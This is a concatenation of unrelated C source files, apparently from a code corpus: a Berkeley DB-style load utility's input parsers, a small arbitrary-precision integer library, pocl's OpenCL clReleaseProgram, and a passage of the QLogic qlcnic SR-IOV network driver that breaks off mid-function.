{
u_int32_t len;
u_int8_t *p;
int c1, c2, e, escape, first;
char buf[32];
++G(lineno);
first = 1;
e = escape = 0;
for (p = dbtp->data, len = 0; (c1 = getchar()) != '\n';) {
if (c1 == EOF) {
if (len == 0) {
G(endofile) = G(endodata) = 1;
return (0);
}
badend(dbenv);
return (1);
}
if (first) {
first = 0;
if (G(version) > 1) {
if (c1 != ' ') {
buf[0] = c1;
if (fgets(buf + 1,
sizeof(buf) - 1, stdin) == NULL ||
strcmp(buf, "DATA=END\n") != 0) {
badend(dbenv);
return (1);
}
G(endodata) = 1;
return (0);
}
continue;
}
}
if (escape) {
if (c1 != '\\') {
if ((c2 = getchar()) == EOF) {
badend(dbenv);
return (1);
}
c1 = digitize(dbenv,
c1, &e) << 4 | digitize(dbenv, c2, &e);
if (e)
return (1);
}
escape = 0;
} else
if (c1 == '\\') {
escape = 1;
continue;
}
if (len >= dbtp->ulen - 10) {
dbtp->ulen *= 2;
if ((dbtp->data =
realloc(dbtp->data, dbtp->ulen)) == NULL) {
dbenv->err(dbenv, ENOMEM, NULL);
return (1);
}
p = (u_int8_t *)dbtp->data + len;
}
++len;
*p++ = c1;
}
dbtp->size = len;
return (0);
}
/*
* dbt_rdump --
* Read a byte dump line into a DBT structure.
*/
static int
dbt_rdump(dbenv, dbtp)
DB_ENV *dbenv;
DBT *dbtp;
{
u_int32_t len;
u_int8_t *p;
int c1, c2, e, first;
char buf[32];
++G(lineno);
first = 1;
e = 0;
for (p = dbtp->data, len = 0; (c1 = getchar()) != '\n';) {
if (c1 == EOF) {
if (len == 0) {
G(endofile) = G(endodata) = 1;
return (0);
}
badend(dbenv);
return (1);
}
if (first) {
first = 0;
if (G(version) > 1) {
if (c1 != ' ') {
buf[0] = c1;
if (fgets(buf + 1,
sizeof(buf) - 1, stdin) == NULL ||
strcmp(buf, "DATA=END\n") != 0) {
badend(dbenv);
return (1);
}
G(endodata) = 1;
return (0);
}
continue;
}
}
if ((c2 = getchar()) == EOF) {
badend(dbenv);
return (1);
}
if (len >= dbtp->ulen - 10) {
dbtp->ulen *= 2;
if ((dbtp->data =
realloc(dbtp->data, dbtp->ulen)) == NULL) {
dbenv->err(dbenv, ENOMEM, NULL);
return (1);
}
p = (u_int8_t *)dbtp->data + len;
}
++len;
*p++ = digitize(dbenv, c1, &e) << 4 | digitize(dbenv, c2, &e);
if (e)
return (1);
}
dbtp->size = len;
return (0);
}
/*
* dbt_rrecno --
* Read a record number dump line into a DBT structure.
*/
static int
dbt_rrecno(dbenv, dbtp, ishex)
DB_ENV *dbenv;
DBT *dbtp;
int ishex;
{
char buf[32], *p, *q;
++G(lineno);
if (fgets(buf, sizeof(buf), stdin) == NULL) {
G(endofile) = G(endodata) = 1;
return (0);
}
if (strcmp(buf, "DATA=END\n") == 0) {
G(endodata) = 1;
return (0);
}
if (buf[0] != ' ')
goto bad;
/*
* If we're expecting a hex key, do an in-place conversion
* of hex to straight ASCII before calling __db_getulong().
*/
if (ishex) {
for (p = q = buf + 1; *q != '\0' && *q != '\n';) {
/*
* 0-9 in hex are 0x30-0x39, so this is easy.
* We should alternate between 3's and [0-9], and
* if the [0-9] are something unexpected,
* __db_getulong will fail, so we only need to catch
* end-of-string conditions.
*/
if (*q++ != '3')
goto bad;
if (*q == '\n' || *q == '\0')
goto bad;
*p++ = *q++;
}
*p = '\0';
}
if (__db_getulong(dbenv,
G(progname), buf + 1, 0, 0, (u_long *)dbtp->data)) {
bad: badend(dbenv);
return (1);
}
dbtp->size = sizeof(db_recno_t);
return (0);
}
static int
dbt_to_recno(dbenv, dbt, recnop)
DB_ENV *dbenv;
DBT *dbt;
db_recno_t *recnop;
{
char buf[32]; /* Large enough for 2^64. */
memcpy(buf, dbt->data, dbt->size);
buf[dbt->size] = '\0';
return (__db_getulong(dbenv, G(progname), buf, 0, 0, (u_long *)recnop));
}
/*
* digitize --
* Convert a character to an integer.
*/
static int
digitize(dbenv, c, errorp)
DB_ENV *dbenv;
int c, *errorp;
{
switch (c) { /* Don't depend on ASCII ordering. */
case '0': return (0);
case '1': return (1);
case '2': return (2);
case '3': return (3);
case '4': return (4);
case '5': return (5);
case '6': return (6);
case '7': return (7);
case '8': return (8);
case '9': return (9);
case 'a': return (10);
case 'b': return (11);
case 'c': return (12);
case 'd': return (13);
case 'e': return (14);
case 'f': return (15);
default: /* Not possible. */
break;
}
dbenv->errx(dbenv, "unexpected hexadecimal value");
*errorp = 1;
return (0);
}
/*
* badnum --
* Display the bad number message.
*/
static void
badnum(dbenv)
DB_ENV *dbenv;
{
dbenv->errx(dbenv,
"boolean name=value pairs require a value of 0 or 1");
}
/*
* badend --
* Display the bad end to input message.
*/
static void
badend(dbenv)
DB_ENV *dbenv;
{
dbenv->errx(dbenv, "unexpected end of input data or key/data pair");
}
/*
* cdb2_load_usage --
* Display the usage message.
*/
static int
cdb2_load_usage()
{
(void)fprintf(stderr,
"usage: cdb2_load [-nTV] [-c name=value] [-f file]\n\t"
"[-h home] [-P password] [-t btree | hash | recno | queue] db_file\n"
" -c - configuration in name=value format\n"
" -f - file to open\n"
" -h - home directory for db\n"
" -n - do not overwrite\n"
" -P - password file\n"
" -T - no header\n"
" -t - type of db\n"
" -V - print version info\n"
" ? - this usage info\n"
);
return (EXIT_FAILURE);
}
static int
version_check(progname)
const char *progname;
{
int v_major, v_minor, v_patch;
/* Make sure we're loaded with the right version of the DB library. */
(void)db_version(&v_major, &v_minor, &v_patch);
if (v_major != DB_VERSION_MAJOR || v_minor != DB_VERSION_MINOR) {
fprintf(stderr,
"%s: version %d.%d doesn't match library version %d.%d\n",
progname, DB_VERSION_MAJOR, DB_VERSION_MINOR,
v_major, v_minor);
return (EXIT_FAILURE);
}
return (0);
}
|
1002739.c | /* Copyright 2021. Martin Uecker
* All rights reserved. Use of this source code is governed by
* a BSD-style license which can be found in the LICENSE file.
* */
#include <limits.h>
#include "string.h"
#include "nat.h"
_Static_assert((nat_base_t)-1 > (nat_base_t)0, "base type must be unsigned");
#define bitsof(t) (CHAR_BIT * sizeof(t))
#define maxof(t) ((1ULL << (bitsof(t) - 1ULL)) - 1ULL)
extern inline nat nat_alloc(void);
extern inline int net_length(const nat x);
nat nat_init(int i)
{
if (i < 0)
return NULL;
nat x = vec_alloc_n(nat_base_t, 1);
if (NULL == x)
goto err;
vec_access(x, 0) = i;
err:
return x;
}
nat nat_dup(const nat x)
{
nat n = vec_alloc_n(nat_base_t, vec_length(x));
if (NULL == n)
goto err;
memcpy(vec_array(n), vec_array(x), vec_sizeof(x));
err:
return n;
}
extern nat nat_mul(const nat a, const nat b)
{
int A = vec_length(a);
int B = vec_length(b);
nat p = vec_calloc_n(nat_base_t, A + B);
if (NULL == p)
goto err;
typedef unsigned long nat_ext_t;
_Static_assert(sizeof(nat_ext_t) == 2 * sizeof(nat_base_t), "");
for (int i = 0; i < A; i++) {
nat_base_t carry = 0;
for (int j = 0; j < B; j++) {
nat_ext_t aa = vec_access(a, i);
nat_ext_t bb = vec_access(b, j);
nat_ext_t tmp = carry + aa * bb;
carry = tmp >> bitsof(nat_base_t);
vec_access(p, i + j) += tmp;
}
vec_access(p, i + B) = carry;
}
err:
return p;
}
extern nat nat_add(const nat a, const nat b)
{
int A = vec_length(a);
int B = vec_length(b);
nat p = vec_alloc_n(nat_base_t, ((A > B) ? A : B) + 1);
if (NULL == p)
goto err;
int C = vec_length(p);
nat_base_t carry = 0;
for (int i = 0; i < C; i++) {
nat_base_t aa = (i < A) ? vec_access(a, i) : 0;
nat_base_t bb = (i < B) ? vec_access(b, i) : 0;
vec_access(p, i) = (nat_base_t)(aa + bb + carry); // wraps
if (carry)
carry = (aa >= maxof(nat_base_t) - bb);
else
carry = (aa > maxof(nat_base_t) - bb);
}
if (!carry) {
// assert(0 == vec_access(p, C - 1));
vec_pop(&p);
}
err:
return p;
}
extern nat nat_div(const nat a, const nat b);
extern nat nat_sub(const nat a, const nat b);
string nat_2string(const nat x)
{
int X = vec_length(x);
// int N = (X * bitsof(nat_base_t) + 2) / 3;
char tmp[X * bitsof(nat_base_t) + 1];
int l = 0;
for (int i = X - 1; i >= 0; i--) {
nat_base_t v = vec_access(x, i);
for (int j = bitsof(nat_base_t) - 1; j >= 0; j--) {
int bit = (v >> j) & 1;
tmp[l++] = bit ? '1' : '0';
}
}
tmp[l] = '\0';
return string_init(tmp);
}
|
884972.c | /* OpenCL runtime library: clReleaseProgram()
Copyright (c) 2011 Universidad Rey Juan Carlos,
Pekka Jääskeläinen / Tampere University of Technology
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:
The above copyright notice and this permission notice shall be included in
all copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
THE SOFTWARE.
*/
#include <string.h>
#ifndef _WIN32
# include <unistd.h>
#else
# include "vccompat.hpp"
#endif
#include "pocl_cl.h"
#include "pocl_util.h"
#include "pocl_cache.h"
#include "pocl_llvm.h"
#include "devices.h"
extern unsigned long program_c;
CL_API_ENTRY cl_int CL_API_CALL
POname(clReleaseProgram)(cl_program program) CL_API_SUFFIX__VERSION_1_0
{
int new_refcount;
unsigned i, j;
POCL_RETURN_ERROR_COND ((!IS_CL_OBJECT_VALID (program)), CL_INVALID_PROGRAM);
POCL_RELEASE_OBJECT (program, new_refcount);
POCL_MSG_PRINT_REFCOUNTS ("Release program %p, new refcount: %d, kernel #: %zu \n", program, new_refcount, program->num_kernels);
if (new_refcount == 0)
{
VG_REFC_ZERO (program);
POCL_ATOMIC_DEC (program_c);
cl_context context = program->context;
POCL_MSG_PRINT_REFCOUNTS ("Free program %p\n", program);
TP_FREE_PROGRAM (context->id, program->id);
/* there should be no kernels left when we're releasing the program */
assert (program->kernels == NULL);
for (i = 0; i < program->num_devices; ++i)
{
cl_device_id device = program->devices[i];
if (device->ops->free_program)
device->ops->free_program (device, program, i);
}
if (program->devices != program->context->devices
&& program->devices != program->associated_devices)
POCL_MEM_FREE(program->devices);
if (program->associated_devices != program->context->devices)
POCL_MEM_FREE (program->associated_devices);
POCL_MEM_FREE(program->source);
POCL_MEM_FREE (program->program_il);
POCL_MEM_FREE(program->binary_sizes);
if (program->binaries)
for (i = 0; i < program->associated_num_devices; ++i)
POCL_MEM_FREE(program->binaries[i]);
POCL_MEM_FREE(program->binaries);
POCL_MEM_FREE(program->pocl_binary_sizes);
if (program->pocl_binaries)
for (i = 0; i < program->associated_num_devices; ++i)
POCL_MEM_FREE(program->pocl_binaries[i]);
POCL_MEM_FREE(program->pocl_binaries);
pocl_cache_cleanup_cachedir(program);
if (program->build_log)
for (i = 0; i < program->associated_num_devices; ++i)
POCL_MEM_FREE(program->build_log[i]);
POCL_MEM_FREE(program->build_log);
if (program->num_kernels)
{
for (i = 0; i < program->num_kernels; i++)
{
pocl_kernel_metadata_t *meta = &program->kernel_meta[i];
POCL_MEM_FREE (meta->attributes);
POCL_MEM_FREE (meta->name);
for (j = 0; j < meta->num_args; ++j)
{
POCL_MEM_FREE (meta->arg_info[j].name);
POCL_MEM_FREE (meta->arg_info[j].type_name);
}
POCL_MEM_FREE (meta->arg_info);
if (meta->data != NULL)
for (j = 0; j < program->num_devices; ++j)
if (meta->data[j] != NULL)
meta->data[j] = NULL; // TODO free data in driver callback
POCL_MEM_FREE (meta->data);
POCL_MEM_FREE (meta->local_sizes);
POCL_MEM_FREE (meta->build_hash);
}
POCL_MEM_FREE (program->kernel_meta);
}
POCL_MEM_FREE (program->build_hash);
POCL_MEM_FREE (program->compiler_options);
POCL_MEM_FREE (program->data);
for (i = 0; i < program->num_builtin_kernels; ++i)
POCL_MEM_FREE (program->builtin_kernel_names[i]);
POCL_MEM_FREE (program->builtin_kernel_names);
POCL_MEM_FREE (program->concated_builtin_names);
POCL_DESTROY_OBJECT (program);
POCL_MEM_FREE (program);
POname(clReleaseContext)(context);
}
else
{
VG_REFC_NONZERO (program);
}
return CL_SUCCESS;
}
POsym(clReleaseProgram)
|
296505.c | /*
* QLogic qlcnic NIC Driver
* Copyright (c) 2009-2013 QLogic Corporation
*
* See LICENSE.qlcnic for copyright and licensing details.
*/
#include <linux/types.h>
#include "qlcnic_sriov.h"
#include "qlcnic.h"
#include "qlcnic_83xx_hw.h"
#define QLC_BC_COMMAND 0
#define QLC_BC_RESPONSE 1
#define QLC_MBOX_RESP_TIMEOUT (10 * HZ)
#define QLC_MBOX_CH_FREE_TIMEOUT (10 * HZ)
#define QLC_BC_MSG 0
#define QLC_BC_CFREE 1
#define QLC_BC_FLR 2
#define QLC_BC_HDR_SZ 16
#define QLC_BC_PAYLOAD_SZ (1024 - QLC_BC_HDR_SZ)
#define QLC_DEFAULT_RCV_DESCRIPTORS_SRIOV_VF 2048
#define QLC_DEFAULT_JUMBO_RCV_DESCRIPTORS_SRIOV_VF 512
#define QLC_83XX_VF_RESET_FAIL_THRESH 8
#define QLC_BC_CMD_MAX_RETRY_CNT 5
static void qlcnic_sriov_handle_async_issue_cmd(struct work_struct *work);
static void qlcnic_sriov_vf_free_mac_list(struct qlcnic_adapter *);
static int qlcnic_sriov_alloc_bc_mbx_args(struct qlcnic_cmd_args *, u32);
static void qlcnic_sriov_vf_poll_dev_state(struct work_struct *);
static void qlcnic_sriov_vf_cancel_fw_work(struct qlcnic_adapter *);
static void qlcnic_sriov_cleanup_transaction(struct qlcnic_bc_trans *);
static int qlcnic_sriov_issue_cmd(struct qlcnic_adapter *,
struct qlcnic_cmd_args *);
static int qlcnic_sriov_channel_cfg_cmd(struct qlcnic_adapter *, u8);
static void qlcnic_sriov_process_bc_cmd(struct work_struct *);
static int qlcnic_sriov_vf_shutdown(struct pci_dev *);
static int qlcnic_sriov_vf_resume(struct qlcnic_adapter *);
static int qlcnic_sriov_async_issue_cmd(struct qlcnic_adapter *,
struct qlcnic_cmd_args *);
static struct qlcnic_hardware_ops qlcnic_sriov_vf_hw_ops = {
.read_crb = qlcnic_83xx_read_crb,
.write_crb = qlcnic_83xx_write_crb,
.read_reg = qlcnic_83xx_rd_reg_indirect,
.write_reg = qlcnic_83xx_wrt_reg_indirect,
.get_mac_address = qlcnic_83xx_get_mac_address,
.setup_intr = qlcnic_83xx_setup_intr,
.alloc_mbx_args = qlcnic_83xx_alloc_mbx_args,
.mbx_cmd = qlcnic_sriov_issue_cmd,
.get_func_no = qlcnic_83xx_get_func_no,
.api_lock = qlcnic_83xx_cam_lock,
.api_unlock = qlcnic_83xx_cam_unlock,
.process_lb_rcv_ring_diag = qlcnic_83xx_process_rcv_ring_diag,
.create_rx_ctx = qlcnic_83xx_create_rx_ctx,
.create_tx_ctx = qlcnic_83xx_create_tx_ctx,
.del_rx_ctx = qlcnic_83xx_del_rx_ctx,
.del_tx_ctx = qlcnic_83xx_del_tx_ctx,
.setup_link_event = qlcnic_83xx_setup_link_event,
.get_nic_info = qlcnic_83xx_get_nic_info,
.get_pci_info = qlcnic_83xx_get_pci_info,
.set_nic_info = qlcnic_83xx_set_nic_info,
.change_macvlan = qlcnic_83xx_sre_macaddr_change,
.napi_enable = qlcnic_83xx_napi_enable,
.napi_disable = qlcnic_83xx_napi_disable,
.config_intr_coal = qlcnic_83xx_config_intr_coal,
.config_rss = qlcnic_83xx_config_rss,
.config_hw_lro = qlcnic_83xx_config_hw_lro,
.config_promisc_mode = qlcnic_83xx_nic_set_promisc,
.change_l2_filter = qlcnic_83xx_change_l2_filter,
.get_board_info = qlcnic_83xx_get_port_info,
.free_mac_list = qlcnic_sriov_vf_free_mac_list,
.enable_sds_intr = qlcnic_83xx_enable_sds_intr,
.disable_sds_intr = qlcnic_83xx_disable_sds_intr,
.encap_rx_offload = qlcnic_83xx_encap_rx_offload,
.encap_tx_offload = qlcnic_83xx_encap_tx_offload,
};
static struct qlcnic_nic_template qlcnic_sriov_vf_ops = {
.config_bridged_mode = qlcnic_config_bridged_mode,
.config_led = qlcnic_config_led,
.cancel_idc_work = qlcnic_sriov_vf_cancel_fw_work,
.napi_add = qlcnic_83xx_napi_add,
.napi_del = qlcnic_83xx_napi_del,
.shutdown = qlcnic_sriov_vf_shutdown,
.resume = qlcnic_sriov_vf_resume,
.config_ipaddr = qlcnic_83xx_config_ipaddr,
.clear_legacy_intr = qlcnic_83xx_clear_legacy_intr,
};
static const struct qlcnic_mailbox_metadata qlcnic_sriov_bc_mbx_tbl[] = {
{QLCNIC_BC_CMD_CHANNEL_INIT, 2, 2},
{QLCNIC_BC_CMD_CHANNEL_TERM, 2, 2},
{QLCNIC_BC_CMD_GET_ACL, 3, 14},
{QLCNIC_BC_CMD_CFG_GUEST_VLAN, 2, 2},
};
static inline bool qlcnic_sriov_bc_msg_check(u32 val)
{
return (val & (1 << QLC_BC_MSG)) ? true : false;
}
static inline bool qlcnic_sriov_channel_free_check(u32 val)
{
return (val & (1 << QLC_BC_CFREE)) ? true : false;
}
static inline bool qlcnic_sriov_flr_check(u32 val)
{
return (val & (1 << QLC_BC_FLR)) ? true : false;
}
static inline u8 qlcnic_sriov_target_func_id(u32 val)
{
return (val >> 4) & 0xff;
}
static int qlcnic_sriov_virtid_fn(struct qlcnic_adapter *adapter, int vf_id)
{
struct pci_dev *dev = adapter->pdev;
int pos;
u16 stride, offset;
if (qlcnic_sriov_vf_check(adapter))
return 0;
pos = pci_find_ext_capability(dev, PCI_EXT_CAP_ID_SRIOV);
if (!pos)
return 0;
pci_read_config_word(dev, pos + PCI_SRIOV_VF_OFFSET, &offset);
pci_read_config_word(dev, pos + PCI_SRIOV_VF_STRIDE, &stride);
return (dev->devfn + offset + stride * vf_id) & 0xff;
}
int qlcnic_sriov_init(struct qlcnic_adapter *adapter, int num_vfs)
{
struct qlcnic_sriov *sriov;
struct qlcnic_back_channel *bc;
struct workqueue_struct *wq;
struct qlcnic_vport *vp;
struct qlcnic_vf_info *vf;
int err, i;
if (!qlcnic_sriov_enable_check(adapter))
return -EIO;
sriov = kzalloc(sizeof(struct qlcnic_sriov), GFP_KERNEL);
if (!sriov)
return -ENOMEM;
adapter->ahw->sriov = sriov;
sriov->num_vfs = num_vfs;
bc = &sriov->bc;
sriov->vf_info = kzalloc(sizeof(struct qlcnic_vf_info) *
num_vfs, GFP_KERNEL);
if (!sriov->vf_info) {
err = -ENOMEM;
goto qlcnic_free_sriov;
}
wq = create_singlethread_workqueue("bc-trans");
if (wq == NULL) {
err = -ENOMEM;
dev_err(&adapter->pdev->dev,
"Cannot create bc-trans workqueue\n");
goto qlcnic_free_vf_info;
}
bc->bc_trans_wq = wq;
wq = create_singlethread_workqueue("async");
if (wq == NULL) {
err = -ENOMEM;
dev_err(&adapter->pdev->dev, "Cannot create async workqueue\n");
goto qlcnic_destroy_trans_wq;
}
bc->bc_async_wq = wq;
INIT_LIST_HEAD(&bc->async_cmd_list);
INIT_WORK(&bc->vf_async_work, qlcnic_sriov_handle_async_issue_cmd);
spin_lock_init(&bc->queue_lock);
bc->adapter = adapter;
for (i = 0; i < num_vfs; i++) {
vf = &sriov->vf_info[i];
vf->adapter = adapter;
vf->pci_func = qlcnic_sriov_virtid_fn(adapter, i);
mutex_init(&vf->send_cmd_lock);
spin_lock_init(&vf->vlan_list_lock);
INIT_LIST_HEAD(&vf->rcv_act.wait_list);
INIT_LIST_HEAD(&vf->rcv_pend.wait_list);
spin_lock_init(&vf->rcv_act.lock);
spin_lock_init(&vf->rcv_pend.lock);
init_completion(&vf->ch_free_cmpl);
INIT_WORK(&vf->trans_work, qlcnic_sriov_process_bc_cmd);
if (qlcnic_sriov_pf_check(adapter)) {
vp = kzalloc(sizeof(struct qlcnic_vport), GFP_KERNEL);
if (!vp) {
err = -ENOMEM;
goto qlcnic_destroy_async_wq;
}
sriov->vf_info[i].vp = vp;
vp->vlan_mode = QLC_GUEST_VLAN_MODE;
vp->max_tx_bw = MAX_BW;
vp->min_tx_bw = MIN_BW;
vp->spoofchk = false;
random_ether_addr(vp->mac);
dev_info(&adapter->pdev->dev,
"MAC Address %pM is configured for VF %d\n",
vp->mac, i);
}
}
return 0;
qlcnic_destroy_async_wq:
destroy_workqueue(bc->bc_async_wq);
qlcnic_destroy_trans_wq:
destroy_workqueue(bc->bc_trans_wq);
qlcnic_free_vf_info:
kfree(sriov->vf_info);
qlcnic_free_sriov:
kfree(adapter->ahw->sriov);
return err;
}
void qlcnic_sriov_cleanup_list(struct qlcnic_trans_list *t_list)
{
struct qlcnic_bc_trans *trans;
struct qlcnic_cmd_args cmd;
unsigned long flags;
spin_lock_irqsave(&t_list->lock, flags);
while (!list_empty(&t_list->wait_list)) {
trans = list_first_entry(&t_list->wait_list,
struct qlcnic_bc_trans, list);
list_del(&trans->list);
t_list->count--;
cmd.req.arg = (u32 *)trans->req_pay;
cmd.rsp.arg = (u32 *)trans->rsp_pay;
qlcnic_free_mbx_args(&cmd);
qlcnic_sriov_cleanup_transaction(trans);
}
spin_unlock_irqrestore(&t_list->lock, flags);
}
void __qlcnic_sriov_cleanup(struct qlcnic_adapter *adapter)
{
struct qlcnic_sriov *sriov = adapter->ahw->sriov;
struct qlcnic_back_channel *bc = &sriov->bc;
struct qlcnic_vf_info *vf;
int i;
if (!qlcnic_sriov_enable_check(adapter))
return;
qlcnic_sriov_cleanup_async_list(bc);
destroy_workqueue(bc->bc_async_wq);
for (i = 0; i < sriov->num_vfs; i++) {
vf = &sriov->vf_info[i];
qlcnic_sriov_cleanup_list(&vf->rcv_pend);
cancel_work_sync(&vf->trans_work);
qlcnic_sriov_cleanup_list(&vf->rcv_act);
}
destroy_workqueue(bc->bc_trans_wq);
for (i = 0; i < sriov->num_vfs; i++)
kfree(sriov->vf_info[i].vp);
kfree(sriov->vf_info);
kfree(adapter->ahw->sriov);
}
static void qlcnic_sriov_vf_cleanup(struct qlcnic_adapter *adapter)
{
qlcnic_sriov_channel_cfg_cmd(adapter, QLCNIC_BC_CMD_CHANNEL_TERM);
qlcnic_sriov_cfg_bc_intr(adapter, 0);
__qlcnic_sriov_cleanup(adapter);
}
void qlcnic_sriov_cleanup(struct qlcnic_adapter *adapter)
{
if (!test_bit(__QLCNIC_SRIOV_ENABLE, &adapter->state))
return;
qlcnic_sriov_free_vlans(adapter);
if (qlcnic_sriov_pf_check(adapter))
qlcnic_sriov_pf_cleanup(adapter);
if (qlcnic_sriov_vf_check(adapter))
qlcnic_sriov_vf_cleanup(adapter);
}
static int qlcnic_sriov_post_bc_msg(struct qlcnic_adapter *adapter, u32 *hdr,
u32 *pay, u8 pci_func, u8 size)
{
struct qlcnic_hardware_context *ahw = adapter->ahw;
struct qlcnic_mailbox *mbx = ahw->mailbox;
struct qlcnic_cmd_args cmd;
unsigned long timeout;
int err;
memset(&cmd, 0, sizeof(struct qlcnic_cmd_args));
cmd.hdr = hdr;
cmd.pay = pay;
cmd.pay_size = size;
cmd.func_num = pci_func;
cmd.op_type = QLC_83XX_MBX_POST_BC_OP;
cmd.cmd_op = ((struct qlcnic_bc_hdr *)hdr)->cmd_op;
err = mbx->ops->enqueue_cmd(adapter, &cmd, &timeout);
if (err) {
dev_err(&adapter->pdev->dev,
"%s: Mailbox not available, cmd_op=0x%x, cmd_type=0x%x, pci_func=0x%x, op_mode=0x%x\n",
__func__, cmd.cmd_op, cmd.type, ahw->pci_func,
ahw->op_mode);
return err;
}
if (!wait_for_completion_timeout(&cmd.completion, timeout)) {
dev_err(&adapter->pdev->dev,
"%s: Mailbox command timed out, cmd_op=0x%x, cmd_type=0x%x, pci_func=0x%x, op_mode=0x%x\n",
__func__, cmd.cmd_op, cmd.type, ahw->pci_func,
ahw->op_mode);
flush_workqueue(mbx->work_q);
}
return cmd.rsp_opcode;
}
static void qlcnic_sriov_vf_cfg_buff_desc(struct qlcnic_adapter *adapter)
{
adapter->num_rxd = QLC_DEFAULT_RCV_DESCRIPTORS_SRIOV_VF;
adapter->max_rxd = MAX_RCV_DESCRIPTORS_10G;
adapter->num_jumbo_rxd = QLC_DEFAULT_JUMBO_RCV_DESCRIPTORS_SRIOV_VF;
adapter->max_jumbo_rxd = MAX_JUMBO_RCV_DESCRIPTORS_10G;
adapter->num_txd = MAX_CMD_DESCRIPTORS;
adapter->max_rds_rings = MAX_RDS_RINGS;
}
int qlcnic_sriov_get_vf_vport_info(struct qlcnic_adapter *adapter,
struct qlcnic_info *npar_info, u16 vport_id)
{
struct device *dev = &adapter->pdev->dev;
struct qlcnic_cmd_args cmd;
int err;
u32 status;
err = qlcnic_alloc_mbx_args(&cmd, adapter, QLCNIC_CMD_GET_NIC_INFO);
if (err)
return err;
cmd.req.arg[1] = vport_id << 16 | 0x1;
err = qlcnic_issue_cmd(adapter, &cmd);
if (err) {
dev_err(&adapter->pdev->dev,
"Failed to get vport info, err=%d\n", err);
qlcnic_free_mbx_args(&cmd);
return err;
}
status = cmd.rsp.arg[2] & 0xffff;
if (status & BIT_0)
npar_info->min_tx_bw = MSW(cmd.rsp.arg[2]);
if (status & BIT_1)
npar_info->max_tx_bw = LSW(cmd.rsp.arg[3]);
if (status & BIT_2)
npar_info->max_tx_ques = MSW(cmd.rsp.arg[3]);
if (status & BIT_3)
npar_info->max_tx_mac_filters = LSW(cmd.rsp.arg[4]);
if (status & BIT_4)
npar_info->max_rx_mcast_mac_filters = MSW(cmd.rsp.arg[4]);
if (status & BIT_5)
npar_info->max_rx_ucast_mac_filters = LSW(cmd.rsp.arg[5]);
if (status & BIT_6)
npar_info->max_rx_ip_addr = MSW(cmd.rsp.arg[5]);
if (status & BIT_7)
npar_info->max_rx_lro_flow = LSW(cmd.rsp.arg[6]);
if (status & BIT_8)
npar_info->max_rx_status_rings = MSW(cmd.rsp.arg[6]);
if (status & BIT_9)
npar_info->max_rx_buf_rings = LSW(cmd.rsp.arg[7]);
npar_info->max_rx_ques = MSW(cmd.rsp.arg[7]);
npar_info->max_tx_vlan_keys = LSW(cmd.rsp.arg[8]);
npar_info->max_local_ipv6_addrs = MSW(cmd.rsp.arg[8]);
npar_info->max_remote_ipv6_addrs = LSW(cmd.rsp.arg[9]);
dev_info(dev, "\n\tmin_tx_bw: %d, max_tx_bw: %d max_tx_ques: %d,\n"
"\tmax_tx_mac_filters: %d max_rx_mcast_mac_filters: %d,\n"
"\tmax_rx_ucast_mac_filters: 0x%x, max_rx_ip_addr: %d,\n"
"\tmax_rx_lro_flow: %d max_rx_status_rings: %d,\n"
"\tmax_rx_buf_rings: %d, max_rx_ques: %d, max_tx_vlan_keys %d\n"
"\tlocal_ipv6_addr: %d, remote_ipv6_addr: %d\n",
npar_info->min_tx_bw, npar_info->max_tx_bw,
npar_info->max_tx_ques, npar_info->max_tx_mac_filters,
npar_info->max_rx_mcast_mac_filters,
npar_info->max_rx_ucast_mac_filters, npar_info->max_rx_ip_addr,
npar_info->max_rx_lro_flow, npar_info->max_rx_status_rings,
npar_info->max_rx_buf_rings, npar_info->max_rx_ques,
npar_info->max_tx_vlan_keys, npar_info->max_local_ipv6_addrs,
npar_info->max_remote_ipv6_addrs);
qlcnic_free_mbx_args(&cmd);
return err;
}
static int qlcnic_sriov_set_pvid_mode(struct qlcnic_adapter *adapter,
struct qlcnic_cmd_args *cmd)
{
adapter->rx_pvid = MSW(cmd->rsp.arg[1]) & 0xffff;
adapter->flags &= ~QLCNIC_TAGGING_ENABLED;
return 0;
}
static int qlcnic_sriov_set_guest_vlan_mode(struct qlcnic_adapter *adapter,
struct qlcnic_cmd_args *cmd)
{
struct qlcnic_sriov *sriov = adapter->ahw->sriov;
int i, num_vlans;
u16 *vlans;
if (sriov->allowed_vlans)
return 0;
sriov->any_vlan = cmd->rsp.arg[2] & 0xf;
sriov->num_allowed_vlans = cmd->rsp.arg[2] >> 16;
dev_info(&adapter->pdev->dev, "Number of allowed Guest VLANs = %d\n",
sriov->num_allowed_vlans);
qlcnic_sriov_alloc_vlans(adapter);
if (!sriov->any_vlan)
return 0;
num_vlans = sriov->num_allowed_vlans;
sriov->allowed_vlans = kzalloc(sizeof(u16) * num_vlans, GFP_KERNEL);
if (!sriov->allowed_vlans)
return -ENOMEM;
vlans = (u16 *)&cmd->rsp.arg[3];
for (i = 0; i < num_vlans; i++)
sriov->allowed_vlans[i] = vlans[i];
return 0;
}
static int qlcnic_sriov_get_vf_acl(struct qlcnic_adapter *adapter)
{
struct qlcnic_sriov *sriov = adapter->ahw->sriov;
struct qlcnic_cmd_args cmd;
int ret = 0;
memset(&cmd, 0, sizeof(cmd));
ret = qlcnic_sriov_alloc_bc_mbx_args(&cmd, QLCNIC_BC_CMD_GET_ACL);
if (ret)
return ret;
ret = qlcnic_issue_cmd(adapter, &cmd);
if (ret) {
dev_err(&adapter->pdev->dev, "Failed to get ACL, err=%d\n",
ret);
} else {
sriov->vlan_mode = cmd.rsp.arg[1] & 0x3;
switch (sriov->vlan_mode) {
case QLC_GUEST_VLAN_MODE:
ret = qlcnic_sriov_set_guest_vlan_mode(adapter, &cmd);
break;
case QLC_PVID_MODE:
ret = qlcnic_sriov_set_pvid_mode(adapter, &cmd);
break;
}
}
qlcnic_free_mbx_args(&cmd);
return ret;
